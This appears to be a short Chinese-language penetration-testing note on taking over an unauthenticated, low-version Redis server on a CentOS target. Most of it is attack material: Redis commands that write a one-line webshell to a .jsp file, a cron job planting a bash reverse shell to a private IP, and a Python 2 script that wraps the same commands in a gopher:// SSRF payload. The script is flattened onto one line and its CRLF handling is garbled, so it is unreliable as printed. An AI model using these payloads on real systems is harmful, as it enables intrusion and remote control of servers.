前提:
1.靶机是Centos环境
2.redis低版本,具体低于多少不清楚
——————主要几个命令操作——————
flushall //清空所有key值
config get dir //获取路径
config set dir /**/**/ //设置路径
set xxx '
一句话木马
' //设置xxx值为一句话木马
config set dbfilename 111.jsp / /设置文件名
save //将xxx默认写入到111.jsp
方式一:直接用进入redis写入计划任务(失败,未成功反弹shell,失败原因:未知,到靶机系统查看文件也成功写入了,但是和下面使用脚本写的就是格式上有点不一样)
1.set 1 ' */1 * * * * bash -i >& /dev/tcp/192.168.43.183/7777 0>&1 '
2.config set dir /var/spool/cron/
3.config set dbfilename root
4.save
方式二:使用脚本写入(原理和上面同理,成功率高)
ip是目标系统的,server_ip是接收shell的
import urllib protocol="gopher://" ip='192.168.43.144' port='6379' reverse_ip="192.168.43.183" reverse_port="4444" cron=" */1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1 "%(reverse_ip,reverse_port) filename="root" path="/var/spool/cron" passwd="" cmd=["flushall", "set 1 {}".format(cron.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF=" " redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd if __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload
1.改好脚本后运行:python2 redis.py
2.curl命令执行
3.监听成功
参考链接:
https://mp.weixin.qq.com/s/Vj24aRbr3P7Pg59HE3SpRQ